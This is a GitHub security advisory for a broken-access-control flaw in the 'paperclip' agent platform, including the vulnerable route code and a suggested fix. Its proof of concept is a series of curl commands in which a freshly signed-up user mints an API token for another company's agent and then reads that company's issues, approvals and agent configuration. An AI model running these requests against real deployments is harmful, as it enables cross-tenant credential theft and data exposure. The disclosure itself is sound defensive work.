GHSA-47wq-cj9q-wpmp

<img width="7007" height="950" alt="01-setup" src="https://github.com/user-attachments/assets/1596b8d1-8de5-4c21-b1d2-2db41b568d7e" />

Isolated paperclip instance running in authenticated mode (default config)

on a clean Docker image matching commit b649bd4 (2026.411.0-canary.8, post

the 2026.410.0 patch). This advisory was verified on an unmodified build.

Summary

POST /api/agents/:id/keys, GET /api/agents/:id/keys, and

DELETE /api/agents/:id/keys/:keyId (server/src/routes/agents.ts

lines 2050-2087) only call assertBoard to authorize the caller. They never

call assertCompanyAccess and never verify that the caller is a member of the

company that owns the target agent.

Any authenticated board user (including a freshly signed-up account with zero

company memberships and no instance_admin role) can mint a plaintext

pcp_* agent API token for any agent in any company on the instance. The

minted token is bound to the victim agent's companyId server-side, so

every downstream assertCompanyAccess check on that token authorizes

operations inside the victim tenant.

This is a pure authorization bypass on the core tenancy boundary. It is

distinct from GHSA-68qg-g8mg-6pr7 (the unauth import → RCE chain disclosed in

2026.410.0): that advisory fixed one handler, this report is a different

handler with the same class of mistake that the 2026.410.0 patch did not

cover.

Root Cause

server/src/routes/agents.ts, lines 2050-2087:

router.get("/agents/:id/keys", async (req, res) => {
  assertBoard(req);                             // <-- no assertCompanyAccess
  const id = req.params.id as string;
  const keys = await svc.listKeys(id);
  res.json(keys);
});
router.post("/agents/:id/keys", validate(createAgentKeySchema), async (req, res) => {
  assertBoard(req);                             // <-- no assertCompanyAccess
  const id = req.params.id as string;
  const key = await svc.createApiKey(id, req.body.name);
  ...
  res.status(201).json(key);                    // returns plaintext `token`
});
router.delete("/agents/:id/keys/:keyId", async (req, res) => {
  assertBoard(req);                             // <-- no assertCompanyAccess
  const keyId = req.params.keyId as string;
  const revoked = await svc.revokeKey(keyId);
  ...
});

Compare the handler 12 lines below, router.post("/agents/:id/wakeup"),

which shows the correct pattern: it fetches the agent, then calls

assertCompanyAccess(req, agent.companyId). The three /keys handlers above

do not even fetch the agent.

The token returned by POST /agents/:id/keys is bound to the victim

company in server/src/services/agents.ts, lines 580-609:

createApiKey: async (id: string, name: string) => {
  const existing = await getById(id);                 // victim agent
  ...
  const token = createToken();
  const keyHash = hashToken(token);
  const created = await db
    .insert(agentApiKeys)
    .values({
      agentId: id,
      companyId: existing.companyId,                  // <-- victim tenant
      name,
      keyHash,
    })
    .returning()
    .then((rows) => rows[0]);
  return {
    id: created.id,
    name: created.name,
    token,                                            // <-- plaintext returned
    createdAt: created.createdAt,
  };
},

actorMiddleware (server/src/middleware/auth.ts) then resolves the bearer

token to actor = { type: "agent", companyId: existing.companyId }, so every

subsequent assertCompanyAccess(req, victim.companyId) check passes.

The exact same assertBoard-only pattern is also present on agent lifecycle

handlers in the same file (POST /agents/:id/pause, /resume, /terminate,

and DELETE /agents/:id at lines 1962, 1985, 2006, 2029). An attacker can

terminate, delete, or silently pause any agent in any company with the same

primitive.

Trigger Conditions

1. Paperclip running in authenticated mode (the public, multi-user

   configuration — PAPERCLIPDEPLOYMENTMODE=authenticated).

1. PAPERCLIPAUTHDISABLESIGNUP unset or false (the default — same

   default precondition as GHSA-68qg-g8mg-6pr7).

1. At least one other company exists on the instance with at least one

   agent. In practice this is the normal state of any production paperclip

   deployment. The attacker needs the victim agent's ID, which leaks through

   activity feeds, heartbeat run APIs, and the sidebar-badges endpoint that

   the 2026.410.0 disclosure also flagged as under-protected.

No admin role, no invite, no email verification, no CSRF dance. The attacker

is an authenticated browser-session user with zero company memberships.

PoC

Verified against a freshly built ghcr.io/paperclipai/paperclip:latest

container at commit b649bd4 (2026.411.0-canary.8, which is post the

2026.410.0 import-bypass patch). Full 5-step reproduction:

<img width="5429" height="1448" alt="02-signup" src="https://github.com/user-attachments/assets/4c2b2939-326b-4e0d-aa01-05e22851486b" />

Step 1-2: Mallory signs up via the default /api/auth/sign-up/email flow

(no invite, no verification) and confirms via GET /api/companies that she

is a member of zero companies. She has no tenant access through the normal

authorization path.

## Step 1: attacker signs up as an unprivileged board user
curl -s -X POST http://<target>:3102/api/auth/sign-up/email \
  -H 'Content-Type: application/json' \
  -d '{"email":"mallory@attacker.com","password":"P@ssw0rd456","name":"mallory"}'
## Save the `better-auth.session_token` cookie from Set-Cookie.
## Step 2: confirm zero company membership
curl -s -H "Cookie: $MALLORY_SESSION" http://<target>:3102/api/companies
## -> []

<img width="2891" height="1697" alt="03-exploit" src="https://github.com/user-attachments/assets/c097e861-6bc9-4f6a-841c-b45501e27849" />

Step 3 — the vulnerability. Mallory POSTs to /api/agents/:id/keys

targeting an agent in Victim Corp (a company she is NOT a member of). The

server returns a plaintext pcp_* token tied to the victim's companyId.

There is no authorization error. assertBoard passed because Mallory is a

board user; assertCompanyAccess was never called.

## Step 3: mint a plaintext token for a victim agent
VICTIM_AGENT=<any-agent-id-in-another-company>
curl -s -X POST \
  -H "Cookie: $MALLORY_SESSION" \
  -H "Origin: http://<target>:3102" \
  -H "Content-Type: application/json" \
  -d '{"name":"pwnkit"}' \
  http://<target>:3102/api/agents/$VICTIM_AGENT/keys
## -> 201 { "id":"...", "token":"pcp_8be3a5198e9ccba0ac7b3341395b2d3145fe2caa1b800e25", ... }

<img width="2983" height="2009" alt="04-exfil" src="https://github.com/user-attachments/assets/ede5d469-4119-432c-b0ae-5a4fabc9a56b" />

Step 4-5: Use the stolen token as a Bearer credential. actorMiddleware

resolves it to actor = { type: "agent", companyId: VICTIM }, so every

downstream assertCompanyAccess gate authorizes reads against Victim Corp.

Mallory can now enumerate the victim's company metadata, issues, approvals,

and agent configuration — none of which she had access to 30 seconds ago.

## Step 4: use the stolen token to read victim company data
STOLEN=pcp_8be3a5198e9ccba0ac7b3341395b2d3145fe2caa1b800e25
VICTIM_CO=<victim-company-id>
curl -s -H "Authorization: Bearer $STOLEN" \
  http://<target>:3102/api/companies/$VICTIM_CO
## -> 200 { "id":"...", "name":"Victim Corp", ... }
curl -s -H "Authorization: Bearer $STOLEN" \
  http://<target>:3102/api/companies/$VICTIM_CO/issues
## -> 200 [ ...every issue in the victim tenant... ]
curl -s -H "Authorization: Bearer $STOLEN" \
  http://<target>:3102/api/companies/$VICTIM_CO/approvals
## -> 200 [ ...every approval in the victim tenant... ]
curl -s -H "Authorization: Bearer $STOLEN" \
  http://<target>:3102/api/agents/$VICTIM_AGENT
## -> 200 { ...full agent config incl. adapter settings... }

Observed outputs (all verified on live instance at time of submission):

• POST /api/agents/:id/keys → 201 with plaintext token bound to

  the victim's companyId

• GET /api/companies/:victimId → 200 full company metadata
• GET /api/companies/:victimId/issues → 200 issue list
• GET /api/companies/:victimId/agents → 200 agent list
• GET /api/companies/:victimId/approvals → 200 approval list

Impact

• Type: Broken access control / cross-tenant IDOR (CWE-285, CWE-639,

  CWE-862, CWE-1220)

• Who is impacted: every paperclip instance running in authenticated

  mode with default PAPERCLIPAUTHDISABLESIGNUP (open signup). That is

  the documented multi-user configuration and the default in

  docker/docker-compose.quickstart.yml.

• Confidentiality: HIGH. Any signed-up user can read another tenant's

  company metadata, issues, approvals, runs, and agent configuration (which

  includes adapter URLs, model settings, and references to stored secret

  bindings).

• Integrity: HIGH. The minted token is a persistent agent credential

  that authenticates for every assertCompanyAccess-gated agent-scoped

  mutation in the victim tenant (issue/run updates, self-wakeup with

  attacker-controlled payloads, adapter execution via the agent's own

  adapter, etc.).

• Availability: HIGH. The attacker can pause, terminate, or

  DELETE any agent in any company via the sibling assertBoard-only

  handlers (/agents/:id/pause, /resume, /terminate,

  DELETE /agents/:id).

• Relation to GHSA-68qg-g8mg-6pr7: the 2026.410.0 patch added

  assertInstanceAdmin on POST /companies/import and closed the disclosed

  chain, but the same root cause (assertBoard treated as sufficient where

  assertCompanyAccess is required on a cross-tenant resource, or where

  assertInstanceAdmin is required on an instance-global resource) is

  present in multiple other handlers. The import fix did not audit sibling

  routes. This report is an instance of that same class the prior advisory

  did not cover.

Severity is driven by the fact that every precondition is default, the bug

is reachable by any signed-up user with zero memberships, and the stolen

token persists across sessions until manually revoked.

Suggested Fix

In server/src/routes/agents.ts, replace each of the three /keys handlers

so they load the target agent first and enforce company access:

router.get("/agents/:id/keys", async (req, res) => {
  assertBoard(req);
  const id = req.params.id as string;
  const agent = await svc.getById(id);
  if (!agent) {
    res.status(404).json({ error: "Agent not found" });
    return;
  }
  assertCompanyAccess(req, agent.companyId);
  const keys = await svc.listKeys(id);
  res.json(keys);
});
router.post("/agents/:id/keys", validate(createAgentKeySchema), async (req, res) => {
  assertBoard(req);
  const id = req.params.id as string;
  const agent = await svc.getById(id);
  if (!agent) {
    res.status(404).json({ error: "Agent not found" });
    return;
  }
  assertCompanyAccess(req, agent.companyId);
  const key = await svc.createApiKey(id, req.body.name);
  ...
});
router.delete("/agents/:id/keys/:keyId", async (req, res) => {
  assertBoard(req);
  const keyId = req.params.keyId as string;
  // Look up the key to find its agentId/companyId, then:
  const key = await svc.getKeyById(keyId);
  if (!key) { res.status(404).json({ error: "Key not found" }); return; }
  assertCompanyAccess(req, key.companyId);
  await svc.revokeKey(keyId);
  res.json({ ok: true });
});

While fixing this, audit the sibling lifecycle handlers at lines 1962-2048

(/agents/:id/pause, /resume, /terminate, DELETE /agents/:id) which

share the same bug.

Defense in depth: consider a code-wide sweep for assertBoard(req) calls

that are not immediately followed by assertCompanyAccess or

assertInstanceAdmin — the 2026.410.0 patch focused on one handler but the

pattern is systemic.

Patch Status

• Latest image at time of writing: ghcr.io/paperclipai/paperclip:latest

  digest sha256:baa9926e..., commit b649bd4

  (canary/v2026.411.0-canary.8), which is after the 2026.410.0 import

  bypass fix.

• The bug is still present on that revision. PoC reproduced end-to-end

  against an unmodified container.

Credits

Discovered by pwnkit, an

AI-assisted security scanner, during variant-hunt analysis of

GHSA-68qg-g8mg-6pr7. Manually verified against a live isolated paperclip

instance.